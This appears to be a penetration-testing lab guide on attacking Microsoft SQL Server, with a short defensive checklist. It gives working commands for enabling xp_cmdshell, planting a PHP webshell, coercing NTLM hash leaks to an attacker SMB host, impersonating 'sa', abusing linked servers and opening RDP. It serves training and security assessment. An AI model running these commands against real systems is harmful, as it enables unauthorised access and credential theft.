MSSQL

MSSQL Services

Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. It's widely deployed in enterprise environments, making it a valuable target during penetration testing engagements. This guide covers essential techniques for enumerating, accessing, and exploiting MSSQL servers.

Protocol Overview

MSSQL primarily operates on:

  • TCP/1433: Default port for the SQL Server service

  • UDP/1434: SQL Server Browser service (helps clients find instance information)

  • TCP/2433: Used when MSSQL operates in "hidden" mode

Authentication Mechanisms

MSSQL supports two authentication modes:

Authentication Type
Description

Windows authentication mode (default)

Integrates with Windows/Active Directory security. Windows user and group accounts are trusted to log in to SQL Server.

Mixed mode

Supports both Windows authentication and SQL Server authentication (username/password pairs stored in SQL Server).

Enumeration Techniques

Port Scanning

# Basic scan
nmap -p 1433,1434 -sV 10.129.201.57

# Script scan
nmap -p 1433 --script ms-sql* 10.129.201.57

Example output:

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2019 15.00.2000.00
| ms-sql-info: 
|   10.129.201.57:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 1433
|     Named pipe: \\10.129.201.57\pipe\sql\query

Using crackmapexec

CrackMapExec is excellent for MSSQL enumeration:

# Check for MSSQL servers in a subnet
crackmapexec mssql 10.129.201.0/24

# Try valid credentials
crackmapexec mssql 10.129.201.57 -u sa -p Password123!

MSSQL Client Connections

Using sqlcmd

sqlcmd is Microsoft's command-line utility for SQL Server:

# Connect to a server
sqlcmd -S 10.129.201.57 -U sa -P Password123! -y 30 -Y 30

Command options:

  • -S: Server name

  • -U: Username

  • -P: Password

  • -y: SQLCMDMAXVARTYPEWIDTH (for better output formatting)

  • -Y: SQLCMDMAXFIXEDTYPEWIDTH (for better output formatting)

Using sqsh (Linux alternative)

sqsh -S 10.129.201.57 -U sa -P Password123! -h

Using Impacket's mssqlclient.py

mssqlclient.py -p 1433 sa@10.129.201.57

When prompted, enter the password.

Default System Databases

MSSQL includes several system databases:

Database
Purpose

master

Stores system-level information for an SQL Server instance

msdb

Used by SQL Server Agent for scheduling alerts and jobs

model

Template database that's copied for each new database

resource

Read-only database containing system objects

tempdb

Holds temporary objects or intermediate result sets

Post-Authentication Enumeration

Once authenticated, explore the MSSQL environment:

Listing Databases

SELECT name FROM master.dbo.sysdatabases
GO

Example output:

name
--------------------------------------------------
master
tempdb
model
msdb
htbusers

Selecting a Database

USE htbusers
GO

Listing Tables

SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO

Querying Data

SELECT * FROM users
GO

Command Execution through MSSQL

MSSQL provides several methods for executing system commands:

Using xp_cmdshell

-- Check if xp_cmdshell is enabled
EXEC sp_configure 'xp_cmdshell'
GO

-- Enable xp_cmdshell if it's disabled
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

-- Execute a command
EXEC xp_cmdshell 'whoami'
GO

Example output:

output
-----------------------------
no service\mssql$sqlexpress
NULL

Other Command Execution Methods

  • Extended stored procedures: Adding custom procedures

  • CLR Assemblies: Using .NET code within SQL Server

  • SQL Server Agent Jobs: Scheduled tasks that can execute commands

  • External scripts: Running scripts in external languages (R, Python)

File System Access

Reading Files

-- Using OPENROWSET with BULK option
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO

Writing Files

-- Enable Ole Automation Procedures (requires admin)
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO

-- Create a file
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["cmd"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

Capturing MSSQL Service Account Hash

MSSQL servers can be tricked into authenticating to an attacker-controlled SMB server, revealing the service account's NTLMv2 hash:

-- Using xp_dirtree
EXEC master..xp_dirtree '\\10.10.14.15\share\'
GO

-- Using xp_subdirs
EXEC master..xp_subdirs '\\10.10.14.15\share\'
GO

To capture the hash:

# Using Responder
sudo responder -I tun0

# Using Impacket
sudo impacket-smbserver share ./ -smb2support

User Impersonation

MSSQL allows users with the IMPERSONATE permission to take on the permissions of other users:

-- Identify users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO

-- Check current user and role
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

-- Impersonate another user
EXECUTE AS LOGIN = 'sa'
GO

-- Verify impersonation
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

-- Revert to original user
REVERT
GO

Linked Servers

Linked servers allow a SQL Server to connect to other database servers, potentially extending your attack surface:

-- Identify linked servers
SELECT srvname, isremote FROM sysservers
GO

-- Execute commands on linked servers
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO

-- Enable xp_cmdshell on linked server
EXECUTE('sp_configure "show advanced options", 1; RECONFIGURE') AT [LINKED.SERVER]
EXECUTE('sp_configure "xp_cmdshell", 1; RECONFIGURE') AT [LINKED.SERVER]

-- Execute commands on linked server
EXECUTE('xp_cmdshell ''whoami''') AT [LINKED.SERVER]

MSSQL Penetration Testing Methodology

  1. Discovery: Identify MSSQL instances through port scanning

  2. Version enumeration: Determine SQL Server version

  3. Authentication testing: Test common credentials and authentication methods

  4. Privilege assessment: Determine the privileges of authenticated users

  5. Configuration review: Check for misconfigurations

  6. Data enumeration: Explore accessible databases and data

  7. Command execution testing: Test for xp_cmdshell and other methods

  8. Linked server testing: Identify and test linked servers

  9. Lateral movement: Use MSSQL as a pivot point to access other systems

Common Vulnerabilities

  1. Weak credentials: Default or weak passwords

  2. Excessive privileges: Users with unnecessary sysadmin role

  3. xp_cmdshell enabled: Allows command execution

  4. Unpatched instances: Missing security updates

  5. Insecure configuration: Improper service account privileges

  6. Linked server misconfigurations: Overly permissive links between servers

RDP Access Through MSSQL

If you've gained administrative access to a SQL Server, you might be able to enable RDP access:

-- Enable RDP through registry (requires sysadmin)
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
GO

-- Allow RDP through firewall
EXEC xp_cmdshell 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes'
GO

-- Add user to Remote Desktop Users group
EXEC xp_cmdshell 'net localgroup "Remote Desktop Users" myuser /add'
GO

Practical Attack Scenarios

Scenario 1: Initial Access via Weak Credentials

  1. Discover MSSQL server with port scanning

  2. Brute force sa account using common passwords

  3. Authenticate to the server

  4. Enable and execute xp_cmdshell

  5. Create a reverse shell

Scenario 2: Lateral Movement via Linked Servers

  1. Authenticate to a MSSQL server

  2. Discover linked servers

  3. Test for command execution on linked servers

  4. Extract credentials or create backdoors on linked servers

  5. Pivot to additional network segments

Scenario 3: Privilege Escalation via User Impersonation

  1. Authenticate with limited privileges

  2. Identify users that can be impersonated

  3. Impersonate a user with sysadmin role

  4. Execute privileged commands

  5. Establish persistence

Defensive Measures

When reporting MSSQL vulnerabilities, consider recommending:

  1. Use Windows Authentication: Avoid SQL authentication when possible

  2. Apply principle of least privilege: Limit sysadmin role

  3. Disable xp_cmdshell: Unless explicitly needed

  4. Implement network segmentation: Restrict access to SQL Servers

  5. Regular patching: Keep SQL Server updated

  6. Audit user activities: Enable SQL Server auditing

  7. Secure linked servers: Carefully control linked server configurations

  8. Use strong service account passwords: Prevent credential theft attacks

Practical MSSQL Testing Commands

Finding MSSQL Servers

# Using nmap
sudo nmap -sS -p 1433 10.129.0.0/24 --open

# Using CrackMapExec
crackmapexec mssql 10.129.0.0/24

Testing Multiple Credentials

# Using CrackMapExec
crackmapexec mssql 10.129.201.57 -u users.txt -p passwords.txt

Automating Command Execution

# Using Impacket with command execution
mssqlclient.py -windows-auth DOMAIN/username:password@10.129.201.57 -debug
SQL> EXEC xp_cmdshell 'powershell -e <base64EncodedCommand>'

By understanding MSSQL services and their attack vectors, penetration testers can effectively identify vulnerabilities and provide valuable recommendations for securing these critical database systems.

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